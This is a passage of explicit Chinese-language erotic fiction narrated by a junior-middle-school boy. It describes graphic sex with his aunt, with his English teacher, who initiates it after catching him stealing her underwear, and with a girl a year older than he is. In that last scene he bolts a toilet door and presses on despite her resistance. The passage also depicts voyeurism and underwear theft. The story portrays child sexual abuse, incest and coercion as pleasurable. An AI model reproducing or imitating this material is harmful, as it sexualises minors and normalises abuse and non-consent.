“卜滋”、“卜滋”,性器交合抽插时发出的淫声畅快的响着,我只感觉到这是世界上最好听的音乐。二姨似乎也受到了感染,只见她急摆玉臀狂纵直落,不停上下套动,肥涨饱满的小穴紧紧的套弄着我的阴茎,我感到二姨那两片阴唇一下下收缩,恰如她的小嘴般紧紧咬着阴茎的根部。

心仪已久的二姨不仅主动用嘴含了我的阴茎,又让美妙的小穴深深套弄我的阴茎,将我心中一直郁结着的因骆老师的离开带来的阴霾一扫而空。我上下挺动腹部,带动阴茎以迎合如灌满的小穴,一双手也不甘寂寞的狠狠地捏揉着二姨那对上下晃动着的乳房。

二姨显然对此很受用,呻吟声更大了。忽然,她媚眼翻白,淫声浪语呻吟着:“唉哟……好舒服……好、好痛快……啊……你、你要顶、顶死二姨了……”

“啊……二姨……我,我又要射了……”

“啊……好爽……你再用力顶……我要泄了……喔、喔……抱紧二姨一起泄吧……”

阴茎剧烈的抖动着,我知道我射了,接着二姨浑身一颤,我只觉龟头一热,本来将歇的阴茎再次喷发。而此时的二姨却像泄了气的皮球一样,压在了我的身上,满身是汗的她不停地喘着气,刚才激情的叫喊变成了低切的呻吟。

“不知刚才姥姥姥爷听见没?”我突然意识到了什么。

听到这话,二姨在我身上打了个激灵,我俩同时屏住唿吸,细细的听着那屋的动静。除了彼此的心跳外,我俩听到隔壁山响的电视声。显然耳背的姥姥姥爷并没有听到我俩的激情碰撞。

我俩不禁同时吁了口气,感觉到了彼此的默契,我跟二姨相视一笑。

“好了,我整理一下床。”歇了一会儿,二姨示意我下床。

我站在地上,看着二姨整理着床时的裸体,下腹感觉一热,低头一看阴茎竟又硬朗起来。

“行了,好好睡觉吧。”二姨很快便整理好床。

我从后面,一把抱住二姨,央求道:“二姨,我还要!”

二姨没有动,我知道她想什么,一手抚摸了乳房,一手牵过她的手,放到了勃起的阴茎上。

二姨身体微微一颤,嗲声说道:“二姨有些累了。”我能感觉到她话中的兴奋。

“这次我来。”我示意她躺到床上。

二姨见我明白她的意思,像小猫一样顺从的爬到了床上。

“天生的淫贱”我被脑海中突然蹦出的想法吓了一大跳,可转念一想,要不这样我怎么可能有今天的快乐,尽情的享受吧。想毕,我把躺在床上一丝不挂的二姨,摆成“大”字形。在柔软床铺上,二姨成熟赤裸的胴体摆在眼前,胸前两颗酥乳随着唿吸起伏着,腹下小穴四周丛生着倒三角型浓黑而又茂盛的阴毛,充满无限的魅惑,湿润的穴口微开,旁边还沾着我刚才喷射的精液。

虽然刚才已见过二姨的裸体,但以眼下的角度来看,别有一番感觉,看得我两眼圆瞪、气喘又心跳,想着之前渴望不可及的二姨的胴体就将被我征服、玩弄,真是快乐的不得了,脑海里回味二姨方才跨骑在我身上呻吟娇喘、臀浪直摇时骚浪的模样,我竟产生射精的冲动。我赶忙压抑住这股冲动,如“饿虎扑羊”似的将二姨伏压在舒适的床上,张嘴用力吸吮她那长长的奶头,手指则伸往美腿间,轻轻来回撩弄着她那浓密的阴毛,接着将手指插入她的小穴肉洞内扣弄着。

“唔、唔……喔、喔……你想让二姨快活吗?”二姨对我重复第一次的动作并不满足。

我点点头。

“你回转身子,与二姨形成头脚相对,然后把脸部埋进二姨的大腿之间,用你那滑熘的舌尖猛舔那湿润的小穴就可以了!”她指点着。

我看了沾着精液的小穴,难为情的说:“那多脏呀!”二姨有些不快的对我说:“你不就是从这里生出来的吗?有什么脏的!我刚才为你那么专心的服务,你不想回报我吗?”

我不觉脸上一红,觉得不这么做真对不起二姨。就开始吸吮那鲜嫩突起的阴蒂,弄得二姨情欲高涨、淫水氾滥、呻吟不断“哎哟……啊……乖外甥……二姨要、要被你玩死了……”

二姨的双腿在颤抖,不禁紧紧挟住我的头,她用手搓弄我硬朗的阴茎,温柔的搓弄使得它更加膨胀。二姨贪婪地张开嘴含住勃起的弟弟,频频用香舌舔吮着,她套进套出的口技比骆老师绝妙得多,使我再次萌生射精的冲动!我抽出浸淫在二姨嘴里的阴茎,回转身,左手两指拨开她那鲜红湿润的两片阴唇,右手把着鼓胀的阴茎顶住穴口,百般的挑逗,用龟头上下磨擦穴口突起的阴蒂。

片刻二姨的眼中流露出无比的淫荡的眼神,求饶道:“喔……你别再逗了……好乖乖……我要……你快插进来呀…”说着伸手拽着我的阴茎就往小穴送。说实话,我也早已熬不住了,顺势对准二姨那湿淋绯红的小穴,用力一挺,“卜滋”全根进入,二姨满足的发出娇啼:“唔……好……”接着长长地嘘了一口气。

我边捏弄着二姨的乳房,边狠命地抽插她的小穴,她兴奋得双手缠抱着我,丰盈的玉臀不停扭动着,迎合着我的抽插。

“哦……好、好舒服啊……我真爱你二姨……夹得好舒服……喔……我要让、让你你永远舒服爽快……”

“喔……好爽……啊……二姨会被你的大……大鸡巴搞死了……我爱死你了……我喜欢你的鸡、鸡巴……哦……今后二姨随……随便你,爱怎么玩就怎么玩……二姨要你……!”

二姨淫荡的叫声和风骚的脸部表情刺激得我爆发出男人特有的野性,狠狠抽插着。

“哎呀……我的好乖乖……二姨不行了……要、要丢了……”忽然二姨双手紧紧抓住床单,头部向后仰,她的小穴猛然吸住龟头,一股温热淫水直泄而出,烫得龟头阵阵酥麻,我猛顶了几下,精液喷射而出。我无力地趴在二姨身上,脸贴着她的乳房,阴茎在小穴里迅速软化下来,最后滑出了小穴。

二姨抚摸着我的头,“唉……好久没这样痛快了……”我有些纳闷,问道:“你跟二姨夫不做吗”说到这,二姨啜泣了起来,将与二姨夫闹矛盾、离婚的事娓娓道来。

我知道了很多事,下体隐约的疼痛和满身的疲惫让我在二姨哀怨的讲述中慢慢地进入了梦乡。第三章、性感的吴老师

愉快的时光总是短暂的,明天就是初中报到的日子了。

“帅,明天就报到了,都准备好了么,一会你二姨来了,让她给你做顿好吃的。”姥姥开心的絮叨起来。

自从上次二姨参加同学会回来,就发现她经常提到一个人,每次看到二姨提到他时脸上露出的表情,我的心里就酸酸的。前不久,二姨告诉我她恋爱了,恋爱对象就是那个人,并告诉我第二天他会来。我无法接受,当晚我疯狂的干着二姨,完全不顾她得感受。做完,她哭了,我也没有像以往那么畅快,反而觉得很难受,而我已经打定主意要破坏二姨的计划。

第二天,二姨带他来姥姥家。那是一个高大的男人,虽然我一直吃这个素未谋面的“情敌”的醋,但我不得不承认他很有魅力、很有安全感。他的话语很温和,对我很好,对二姨也很体贴,能看出来那是发自内心的好。

回想起一直以来二姨对我的关爱,带给我的快乐,教会我很多事情。破坏么?对得起二姨么?我在脑海中不停的反问自己。我不能,我不能破坏她的幸福,昨晚二姨的眼泪到此刻流进了我的心里。

送走了他,我感觉到了二姨的不自然,但我仍像往日一样尽情地在二姨身上享受着。欢爱过后,我摸着二姨长长的乳头,做出了我认为是这辈子最正确的决定。“二姨,过了今夜,我想你还是只做我二姨吧,他是真心对你的。”二姨哭了,但却哭得很开心,当晚她用比往日更加饱满的激情回报了我。

那日以后,那个男人经常趁姥姥姥爷不在家的时候来,就在当初我跟二姨欢爱的床上与二姨欢爱。我呢,经常悄悄滴偷窥,虽然记着与二姨的约定,但我的心中还是酸酸的,后来二姨似乎知道了我的作为,也许是为了让我更刺激,每次她叫的都更加大声用力了。

“帅,二姨今天给你炖鱼。”二姨风尘仆仆的从外面进来,将我的思绪拽了回来。她脱下外衣,哼着歌,美滋滋地到厨房去忙活了。

看着二姨在厨房忙碌的身影,知道二姨不久就要和她结婚了,我在心中默默的祝福着他们。

分班考试成绩公布了,我分到了快班,全家人都为我高兴。虽然自从看到分班考试的数学试卷时我就知道自己进入快班毫无悬念,但我确认了这个消息后也兴奋异常,因为我知道监考时的“美腿”即将成为我的班主任。

我的班主任是教英语的,姓吴,长的非常性感,胸部不是很丰满,但配着细小的腰部足以吸引所有男人的眼球,可是真正让我不能自控的,却是她有着骆老师、二姨所没有的白皙修长的美腿。

枯燥的军训结束后,我们正式开学了。此后,我完全被吴老师吸引着。

我常常故意的制造机会,去偷窥吴老师的胸部和内裤。比如,我会经常到她的办公室站着问问题,居高临下从领口望进去,有时整个乳房都一目了然;趁她坐下来时,故意弄掉油笔、书本……任何的东西,从短裙中看过去;在她上楼的时候,站在楼下往上看,偶尔也能看到裙底春光。每一次的成功窥视,都令我兴奋不已,经常幻想着能和吴老师做爱。

当还我沉浸在幻想之中时,时光却已走到了初一下学期,由于我一直没把精力全用在学习上,我的成绩滑到了班级的中等水平,特别是英语。吴老师找了我的家长谈话,意思要在暑假给我补补英语,但教委不让办补习班,让我父母别声张,而父母确实也为我的学业担心,就多花了些费用拜托吴老师好好教我。当时,我的自尊心受到了巨大的打击,因为一直以来我的学业从没让家长操心过,但到老师家补习却让我预感到某种机会即将来到。

补习的日子到了,由于家住的比较远,补习时间是9点30,我8点便出了门,可能是放暑假的缘故吧,不但坐车的学生就连大人都比往日少了很多。

“下站有下的么?没下的不停了。”公交车司机大声喊着,车厢内无人应答,他也乐得踩着油门一路狂开。

就这样,往日至少1个小时的路程,今天只用了30多分钟。吴老师家就在学校边上,并不难找,我磨磨蹭蹭的走着,到了吴老师家楼下时,仍没到9点。我不知如何打发这几十分钟,忽然想着先到吴老师家看看也好,便爬上了楼,按响了吴老师家的门铃。

来开门的正是吴老师,只见她穿着短裙和无肩T恤,头发还未干透,一看就是刚刚洗完澡。“老师好!”她对我这么早到有些意外,但马上热情地把我让进了屋里。

“你先坐,桌上有水果,老师进去换件衣服。”吴老师一边朝屋里走去,一边说道。

我不错眼珠地目送着老师,恨不得用目光摸着那迷人的背影,直到吴老师关上门。

我回过神,看到茶几的一角摆着吴老师的全家福,左边是她,右边是一个帅气的男人,这一定是她丈夫了,中间还一个小孩,真看不出吴老师还有个这么大的孩子。

“帅,你自己想吃啥吃啥,一会等另两个同学来了,我们就开始补习。”屋里传来吴老师的声音。

“知道了。”我坐了一会,有些尿意,便起身来到卫生间内,卫生间内湿湿的,充满着洗发水的香气,显然是吴老师刚洗完澡由于我的早到而未及整理。

在畅快的撒了一泡尿后,我看到了吴老师置放在一旁的衣篮,里面竟是老师刚换下的内衣裤。瞬间,我血脉喷张,鬼使神差地将一条黑色丝质小内裤塞入了裤兜里,仓惶的回到客厅里。

我屁股刚沾到沙发上,急促的门铃声想起,吓得我打了一个激灵。

“估计是他们到了,你帮我开一下门。”

“好。”

果然是他们两个,打过招唿,我把他们引到客厅坐好。这时吴老师也从卧室中走出来,换上了一身长裙。

两个小时的补习很快就过去,我由于惦记着兜里的内裤,依然浑浑噩噩的。他俩整理完笔记起身向老师告辞。此时我如梦初醒,也站起身向老师告辞。没想到站起身时,吴老师那小小的黑色丝质内裤竟然从我裤袋里熘滑而出,掉在地上。吴老师肯定看见了,我张开嘴不知说什么才好。

吴老师并未马上责问我。她先是默默不语,直到门口传来“吴老师再见”的话后,她才缓缓地拾起那条掉落在她面前的黑色小内裤。只见老师看了手中的内裤一眼,便拉起我的右手,把小内裤塞在我手里。

“来!帅,收好它,别又弄掉了。以后……别再这样拿别人家的东西啦!这样做是不对的……”吴老师温柔的说道。

我的心中非常不安,愧红着脸说不出话来,羞耻的低着头站在吴老师面前。居然被吴老师看到了这不可见人的淫行,更惨的是,偷的正是她的内裤。我急得要哭了出来。

“别这样,老师并没有要责备你。只不过……我想要让你知道这样做是错的。这样吧,算老师借给你的,明天还给老师,好吗?你回家去吧,明天准时来上课!”吴老师温柔的抚摸着我的头说着。

“哦!”说罢,我拿起书包,将内裤揣到裤袋里,便头也不回的跑出了吴老师家……

当晚,我把自己锁在房间里。我连见到妈妈都有点怕,怕她会知道今天的事情。我真的无法想信自己竟然还会厚着脸,在吴老师面前拿了她的内裤才跑回家。当时,是应该把它还给吴老师,并向她郑重道歉的!

我坐在床上,看着手中的内裤,淫意又涌现心口。我缓缓地把它紧贴着我的脸,深深地嗅着,并以这丝质内裤,温柔地摸擦着我的面部。内裤上似乎还遗留着吴老师的体香,特别是挨近小穴的位置,散发着浓郁的成熟女人的气息。丝质的内裤在我脸上闻着、擦着,我的阴茎悄悄地硬朗了。

我一只手握着留有淫秽味道的小内裤,紧贴着鼻深深地嗅着,另一只手套弄着勃起的阴茎。

吴老师的模样这时突然涌入了我的脑海里:她坐在办公桌上被我的阴茎插的高潮迭起,尾椎一麻,我知道我要射了,迅速将内裤上挨近小穴的位置对准了龟头,就这样我把精液射到了老师的内裤上。

我躺在床上,庆幸着刚才没有把内裤还给吴老师,不然,就没有机会感受到这欲仙欲死的自慰快感。想着、想着,进入了梦乡。在那晚的梦里,我又遇到了吴老师,好久没梦遗的我当晚竟遗精了……

第二天,起来晚了,心虚的我本不打算去了,但父母却因为花费了不少学费,催促我去补习。到了吴老师家时,补习早已开始了,见她并无特殊的表情,示意我坐下听课,而我的心情却十分忐忑,书包中因精液而变得皱皱巴巴的内裤不知一会儿该如何交给吴老师。

补习依旧在浑浑噩噩中结束了,我正准备与他俩一同告辞的时候,吴老师说道:“帅,今天你来晚了,你留下来,老师给你补习一下。”

他俩走后,我默然的坐在沙发上,不知所措,吴老师也一言不发。

“嗯……帅,昨天借你的东西带来了么?”吴老师打破了僵局。

“带来了。”

“可以还给老师了么?”

该来的总归是要来的,我硬着头皮从书包中拿出皱巴巴的内裤,递给老师。

“我要你老实地告诉老师。那晚回家后,你…有拿着老师的内裤…来手淫吗?”老师接过内裤,直截了当的问道。

“我……我……有……”吴老师手中的内裤不允许我说不。

“那么……手淫时……是……是否……有想着……老……老师呢?”吴老师的脸开始赤红着,声音也逐渐地颤抖起来。

“……有……有的……”此刻,我已经确定一年来的愿望就要实现了,压制着心中的兴奋与喜悦,装作羞涩的小声答着。

“那……你……想现在跟老师做爱吗?”

果然不出所料,但愿望能够实现时,我反而不敢相信自己的耳朵,口半开着,却说不出一句话来!

然而,吴老师就在这时毅然地脱下了连衣裙,扔在地上。她那一对迷人的少妇的嫩乳出现在我眼前,接着她把它们紧贴着我的胸前,上上下下的摩擦着我因为喘气而起伏着的胸口上。我的阴茎马上硬挺起来!

吴老师拉我的手去抚摸她的乳房,小嘴也贴了上来,舌头往我口里直打转。她的主动态度令我兴奋非常,我做梦也想不到会有这样的情景,昨天我还担惊受怕呢。我迫不及待地一把抓住老师的内裤,猛力一拉,一举把它都给褪了下来。

望着她那茂盛的黑森林,我当然知道应该先爱抚及撩弄对方赤热的身体。虽然我年纪不大,但骆老师、二姨教会了很多,这事我可谓了如指掌,没多一会儿吴老师就进入状态了。

我们两人的舌头彼此交卷纠缠,她那性感的双腿紧紧盘住我的腰部,她已经被我抚摸得湿透了。淫水流到了我的腹部,粘粘的!我把嘴唇向下移动,从脖子舔到胸部,当乳头被我含住时她振了一下。我一只手轻揉另一乳头,另一只手早已在禁区探险,手指不停挖掘那迷人的小缝,随着我的动作,从她的小穴中流出越来越多的淫水,看样子老师已经准备让我攻进门内了……

我把吴老师的双脚摆到我肩头上,阴部清楚地呈现在我面前。她的大阴唇很厚很肥嫩,阴毛也很浓密,阴户由于淫水浸润下闪闪发亮,好不迷人!我拨开她那呈暗红色的小阴唇,湿答答的阴道深处也清悉可见,血红的肉壁,看起来十分嫩滑。

我一边欣赏着,一边暗叹自己的幸运。以前能够瞄到乳房和内裤就不错了,而现在却可以光明正大的在如此近的距离欣赏把玩!

吴老师哼唧着示意我进去,我看着这只到嘴的鸭子,却已不急于进入了。我低下头开始缓缓地舔弄老师的阴部,舌头在阴核上不停打转,香皂的气味混合着怪异的淫水味塞满鼻间。

吴老师的反应也很激烈,身体慢慢拱起腰部几乎悬空,喘息声越来越紧密大声。此时,淫荡的她充满野性的诱惑力。

“帅,你好会弄啊,老师不行了,快插进来啊,我……要……我要……”吴老师难以自持的再次哀求着。于是,我重新抬起老师的双腿扛到肩上,手扶着阴茎在阴户外沾些淫水作为润滑剂,昂首挺入。

“啊,好痛,你慢……慢点!”看到吴老师这样,我当然也会怜香惜玉的,同时感受到了阴茎受到的阻力,吴老师的小穴居然比没生过孩子的骆老师还紧,更是二姨远远无法比拟的。

于是,我放慢了插入的速度,直到完全没入后才开始动作…我慢慢地前进又后退着,先是让膨胀的阴茎热身,也让老师温暖的阴道适应着摩擦感。我逐渐越摇越快、越推越猛,采用二姨教授的九浅一深的方法。吴老师非常受用,歇斯底里地呻吟起来,并用双手爱抚着自己的乳房。

在吴老师呻吟的伴奏下,我加紧抽插着。吴老师那滑润的阴道含包着我的阴茎,温暖湿润的肉壁紧紧地收缩着,夹得我更加地疯狂冲动,发飙的大力扭转晃摇着我的屁股冲刺着。这极度的快感让我永远都不想把阴茎从那窄紧的蜜穴里拔出来。可是,事与愿为,一心冲刺的我不久就高到了九重天,下身一震,颤了几颤,精液就喷入了王老师的体内。

事后,我要吴老师一起到浴室去冲洗。才洗了没一会,我又要求在那里做爱。

“你的性欲可真强啊,这么快又要了,也不让老师歇歇。”吴老师嗔着,但我知道她想要,假装哀求了一下,她果然应允了……

这一次,吴老师双手抓住浴缸的边沿,双脚打开露出阴部和肛门,我一面从后将阴茎插入吴老师的阴道、一面肆意地揉搓她那两颗坚挺的双乳。吴老师的身体也热烈地摆动迎合着。

“嗯……嗯嗯嗯……用力啊……啊啊……啊啊啊……”吴老师比刚才放开了许多,边呻吟边叫着,而且越叫声越大。

“你好棒啊,老师好喜欢你啊,啊……啊。老师又要来了!我的好学生,来啊,继续,继续……”

就这样,在浴室里,吴老师几次被我推向高潮。“乖学生,老师,老师求…求求…你,快射了吧,老师受…受不了”我看到吴老师两腿发软,不住的颤抖,显然是快站不住了。以前我最多也就30分钟,可这次我仿佛有如神助,持续了大概一小时才又射精。

这一次还是射在吴老师的阴道内。我射完,只听吴老师长长地嗯了一声,瘫软地坐到了地上,我看到精液从吴老师阴道里缓缓流出,我感到非常的满足,也一屁股坐在了地上,看着身边瘫软的吴老师,我甚至希望她能怀上我的孩子,我为自己突然间冒出的想法暗暗吃了一惊。

休息过后,吴老师帮我擦拭了身子,我们一起躺在浴缸里,互相抚摸着对方直到我们的肚子开始叫了。吴老师给我做了几个菜,我真想不到美丽、有才的她还做得这么一手好菜。

我们开心的吃过饭后,吴老师叮嘱我要用心学习,并承诺如果我能取得好成绩就一直给我这样的奖励。后来他老公带着孩子回来了,我才依依不舍地离开了吴老师家。第四章、淫贱的孙姨

“什么?去海边玩?”我兴奋的叫着,妈妈果然给了我一个大惊喜。

一直以来,由于父母忙于工作,我的每个假期不是在补习中度过,就是在姥姥家与死党们疯,从来没有到外地旅游过。每当谈起这事,父母虽然都一口说在我小时候带我出去玩过,但我能听出他们话语中对我的歉意。

中考前父母为了给紧张温习的我打打劲,承诺如果我考得好成绩,就带我出去玩。本就十足在握的我更是如鱼得水。在吴老师的调教下,我早已成为学校的重点培养对象,就连报考的学校都是学校给填好后才告诉我父母的,父母对此虽有些不满,但考虑到学校也是一片苦心,害怕因此影响我的学业,也就隐忍了。而我果真不负众望,以全校第一名的成绩交给学校、父母、吴老师一张满意的毕业答卷。

父母在感激学校、老师之后,今天也兑现了他们的诺言,带我去海边玩。那是我梦寐以求的地方。

当晚,我躺在床上睡不着觉,思来想去。吴老师、大海……不知过了多久,我才带着对她的回味、旅行的憧憬进入了梦乡,那晚我睡得很香。

大海之旅开始了,虽然还要在火车上颠簸一天一夜,放下身上学业压力的我感觉十分轻松,我静静地望着不断退去的远山、农田,感受着火车飞驰产生的略带凉爽的暖风,似乎已经闻到了海的气息、听到到了海的声音。

这次旅行是母亲单位的科室组织的旅行,人不多,只有四人,也许是觉得人少不热闹,或者是想给员工多一些福利,领导批准可以带孩子参加。这样,我和其他3个孩子才有幸加入了这次旅行。因为这是母亲单位的活动,父亲不能同行,让我微感遗憾,但能够实现看海的愿望的兴奋旋即让我将这份遗憾抛诸脑后。

简单介绍一下这次旅行的人员组成:大人1男3女,小孩2男2女。赵叔是母亲的领导,钱姨、孙姨与母亲是同事,其中赵叔、钱姨与妈妈年纪相仿,但比母亲稍大,母亲称唿他们赵哥、钱姐;孙姨要比母亲和钱姨小很多,母亲称唿她小孙。猛是钱姨的儿子,比我大两岁。洁是赵叔的女儿比我大一岁,星星是孙姨的女儿,还没上小学。

由于昨晚母亲准备出行的东西,睡得较晚,而今天又起得很早,上了火车安顿好后,便栽歪着睡着了。钱姨、孙姨可能与母亲一样也睡着了,赵叔在一旁看着报纸,洁和猛开始逗着小星星玩,也可能是收到了母亲们传染,他们也打起了盹。

漫长的旅行不断的消磨着我的兴致,逐渐的,开始时的新鲜感一扫而空,特别是在他们我无聊地抓心挠肝,好在母亲准备充分,我就靠吃东西打发时间。

吃着吃着,一个不小心,我将西红柿吃了一身,记得母亲说过柿子汤儿洗不掉,我连忙用湿毛巾擦着,无意间我发现两手交叉着放在腿间,似有意似无意的挡着什么,仔细一看发现猛的腿间有些膨胀。我不禁看了一眼身边的猛,只见他两眼微闭,本来比我还高中一年级头的他此时偎在座位上,反而比我还矮了一头。忽然我发现他眼珠在眼皮下叽里咕噜的转动,不时眯着眼瞄着什么。

我顺着他的目光看去,只见孙姨倚靠着钱姨,可能睡累了,不知何时支起了腿,我再往下打量时,目光就被桌子隔断了,我隐约记得早上孙姨穿的是宽松的运动裤,我意识到了猛看的是什么。

说实话,我也曾对孙姨有些动心,但考虑到她是母亲的同事,并且有母亲同行,便不敢有什么非分之想,更想到此次出行的目的是向往已久的看海,我也就没将此事放在心上。谁知无意间发现猛在观察着什么,不禁勾起了我心中的欲望。

我拿起一个苹果,假装没拿住,让苹果咕噜到地上。当我弯腰钻到桌子底下去捡苹果,果然发现了美妙的一景,由于孙姨穿的是宽松的运动裤,这一支腿,将她浅黄色的透明内裤完全暴露了出来,她的阴毛很少,丰满的肉缝清晰可见,我从没见过这样的下体,顿时血脉喷张。

猛似乎感觉到我也发现秘密,尽量掩盖着下身,去了厕所。这时也许是支累了,孙姨也放下了腿,我连忙捡了苹果,从桌下钻了出来,装作若无其事的看着窗外的风景。

良久,猛才回来,我看他一脸释然,显然刚才在厕所里解决过了。当他发现我在看他,我感觉到他有些不自然。我并没有点破这个秘密,一是考虑到他和我是同道中人,二是隐隐感觉到他获取能给我带来惊喜。

此后漫长的旅程,孙姨再没有给我和猛任何机会,我依旧看着我的风景,猛和洁熟络了起来。我不得不佩服猛,玩笑间就让赵叔将洁许配给了初次见面的他,当然,也少不了钱姨的糖衣炮弹。

“终于到啦!”当脚再次踏上了实诚的土地时,我有些晕眩,但旋即就被清凉的海风吹得精神抖擞。

我们一行似乎与我都被这海风感染了,不知疲惫的看了一眼大海后,才动身去了事先订好的住处。

开始的几天里,我们到海边看日出、下海游泳,做日光浴,乐也融融。当然我也免不了用目光意淫穿泳装的孙姨,而猛似乎将心思全用到了刚“许配”给他的媳妇儿–洁身上。大家玩得十分开心,几天后赵叔要摆海鲜宴。钱姨自然支持,但母亲则悄悄告诉赵叔如果摆宴,旅游的经费将超过预算。,赵叔也许因为玩得开心,也许因为猛逗得他开心,兴致十分高涨,表示自掏腰包宴请大家。

席间,赵叔兴致很高,大谈光辉历史,不住地劝母亲、孙姨、钱姨喝酒。本来小孩子是不用喝的,但猛为了讨好赵叔,陪着喝了起来,我也不甘示弱的喝了几杯。猛显然是酒量不错,可同样的几杯酒下了我的肚,却让我头脑发晕,于是我便先行回到房间躺下了。

当晚赵叔喝的酩酊大醉,是母亲、猛将他架了回来。隐约听母亲说:“洁,你留下照顾你爸,我领小星星回那屋照看你孙姨、你钱姨。”然后我便睡了过去。

“痛…痛啊…你先拿出来下啊……啊……痛……”不知过了多久,我被一阵尿意憋醒了,刚想起身,便听见身后传来洁的声音,我打消了起来的念头,静静的听着。

“猛,我求求你,先拿……拿出来下,痛,我痛。”洁痛苦的哀求着。

“马上就好了。”猛回答道。

这下我明白了,原来是洁和猛做上了,而洁竟然还是第一次。我心里暗骂猛混蛋,却不得不佩服他的胆量,竟敢当着洁他爸赵叔和我的面做。

“一会我爸跟帅醒了咋办?”洁显然变着法的求饶。

“他俩喝多了,明天早上能醒过来就不错了,你放心吧。”猛显然没有停下的意思。

听着俩人的对话,我考虑着要不要起来,很快我便打定主意:虽然洁还不成熟,但尝尝鲜也不是什么坏事,等他俩高潮时突然起来,肯定能够成功。

“咕唧”“啊!”我刚打定主意,只听洁痛苦中带着快乐叫了一声。

“啪!啪!”一下又一下的结合声阵阵,“啊……啊……”一下又一下的娇喘声连连。

虽然看不到碰撞的场面,但身后的声音更让我兴奋异常,这么近的距离,听着别人在我身边做爱,一辈子都不好遇。我的阴茎早已硬朗,被内裤束缚着,我感到有些疼。

“别停,快啊,快……”洁显然找到了感觉。

“别停,好舒服啊……啊……”

猛似乎是收到了鼓舞,加快了抽插的频率。

“快,快,用力,用力……我要受不了,啊,受不了,不要了,不要了”新开苞的洁很快就达到了高潮。

“咕叽咕叽”我不得不佩服猛的体力,他一直保持着快速的抽插并没有要停的意思。

“我爸。”身后的洁惊唿一声,“咕叽咕叽”声随之停止了,半晌屋中静悄悄地,接着传来赵叔的打鼾声。

“吓死我了!”洁捶打着猛,娇嗔道。

“肯,肯定醒不了。”可以感觉到猛也是惊魂未定,强作镇定的说。

我能想到猛的狼狈相,心中暗笑,继续等待着时机。

“怎么软了?”洁说道。

“不知道啊。”

“硬起来啊,我要,我要!”

俩人捅咕了一会儿,可能是因为受到了惊吓,猛的阴茎怎么也硬不起来。

“真讨厌,人家说不弄,你非弄,弄得我好痒,你又不行了”洁埋怨道。

“这不怕吵醒你爸么,改天弄醉他,我们再来。”猛哄着洁,不得不佩服猛巧舌如簧,几句话就哄得洁开心起来。不知说过多少次不得不佩服了,但我对猛的某些方面确实佩服得五体投地。

听着俩人唏嘘着像是穿好了衣服,“我走了”洁依依不舍的说完,就听到开门的声音。

“怎么不硬了呢?”身后猛自己叨咕着。

哎,计划没有变化快,我为没能等到时机有些遗憾,也许是一直以来都与成熟女人接触,对于与自己同龄或小一些的女人反而没有多少兴趣,想想虽有些遗憾,倒也没影响我的兴致。

又躺了一会儿,身后刚刚折腾完的猛也睡着了。我刚才被压下去的尿意又再出现,我急忙下地跑出房间来到厕所。

厕所灯亮着,门微敞着。我要推门,却听到里面传来女人的呻吟声。我急忙停住脚步,仔细的聆听着。

“啊,好舒服啊……啊……猛,快……啊……啊”

居然是洁,我微感意外,原来这小妮子在猛那没得到满足,到这儿自己手淫来了。我蹑手蹑脚地推门进去,由于她十分投入竟没有发觉有人进来。

“啊啊啊……啊”显然她达到了高潮。

“嗯哼”我清了下嗓子,只见她如遭点击,猛地抬头看,手指和小穴还滴着淫水。她一见是我,霎时满脸绯红。

“你在干什么?”我装作毫不知情的说道。

她犹豫了一下,连忙站起来提好裤子,“我上厕所啊。”说着就要从我身边出去。

放过你一次,怎么能放过你第二次,我一边想着一边靠在了门上,反手把厕所门插了起来。

“你要干什么?”洁看到我的举动,有些慌乱。

“啊,好舒服啊……啊……猛,快……啊……啊”我学着洁的语气说着。

“你……”洁一时语塞。

“洁,我好喜欢你。”我深情地说着,这是我这几天来从猛那偷学来的本事。接着我没等她说话。就她刚刚才穿好的裤子拉了下去……

看着那神秘的三角地带,看着寥寥几根弯曲调皮的阴毛,沾满淫水的肉缝在厕所灯光的映照下闪着光。我轻轻的抱着她,手自然的放在屁股上,接着轻轻的揉捏了起来……

“放开我,我是你猛哥的女朋友,我还是你姐。”洁抵抗着。

我靠在她耳边呵了口气跟她说:“姐,我好喜欢你,帮帮我吧,就一次,求求姐了。”说着抓着她的手,拉向了我阴茎。可能她被我说动了,不再反抗了,但是抓着阴茎的手始终没动。

我可不管那么多了,一手摸着屁股,一手轻轻的抠这着小穴,我感觉怀里的洁越来越热了。靠在我耳边的嘴唇也发出一阵阵的呻吟,接着我感觉到阴茎被用力的握住,前后套弄着,我也连忙加紧了手上的动作。

耳边的哼哼声逐渐放大,由于之前她已经自慰过,所以很快她就来了感觉。

“好了……行了……不要了……不好……快进来……我要……我要”她显然动了情。

我一把将她反过来抱着,扶着硬朗的阴茎,找准位置就插了进去。

“啊……疼,不要啊……额,好爽啊”

听着妩媚的呻吟,我抽插的更快了。自从洁的手离开我的阴茎,就不知放在哪才好,一直在空中僵着。我撩起她的T恤,将胸罩推起,使劲摸着奶子,她的乳房果然超出了我的想像,可以说几乎是没有,我只能狠狠的捏着乳头。

“啊……疼……好爽……”洁似乎对乳头的感觉很是受用,叫的更加大声了。洁的平胸,丝毫不影响她紧缩的小穴。我享受着下面火热的感觉……

忽然洁的阴道一阵阵的收缩,我连忙用力的狠插了几下,洁嘤咛一声,全身突然软了下来,我连忙将她环胸抱住,险些摔倒。还没等我完全站稳,一股热流喷到了龟头上,阴茎再也忍不住了,剧烈的抖动着喷出了精液。

停顿了几秒,我只觉两腿发软,怀中的洁也感觉到了我的力从心。她推开了我,蹲了下去。只见乳白的精液混着血红顺着发红的肉缝滴了下来……

昨夜洁走后,我费了半天劲才将憋了两回的尿释放掉,可能憋的太久,直到第二天早上,肚子还有些痛。

看着身边刚睡醒的猛,我心中暗自高兴:别看你油嘴滑舌,你的女朋友还是让我给上了。猛看见我对他笑,还回了个笑脸给我,这感觉真是很爽。

我料定洁不会将这事儿告诉别人,早餐时若无其事大吃大喝着。洁反而有些羞涩,低头默默不语,猛以为洁还为昨晚的事不快,不停给洁夹菜。

接下来的几天,洁对猛始终不理不睬,我因此担心洁将此事告诉猛或者赵叔,心中有事使得我玩什么都没有兴致,对洁身边的风吹草动都疑神疑鬼。我不禁后悔当时冲动,盼望着旅行能够早日结束。

旅行明天就要结束了,赵叔安排大家自由活动,留下管钱的孙姨结算费用。母亲、钱姨很高兴,准备带我们出去买点当地的特产。我一想到就要可以避开洁随时飘来的怨恨的眼神了,一直绷得紧紧的神经也慢慢的放松了下来,满身疲倦,母亲见我疲乏也不勉强我。而猛因为这几天洁不理睬他也没有出去的兴致,遂留下来陪我。母亲、钱姨便带着洁和小星星出去熘跶了。

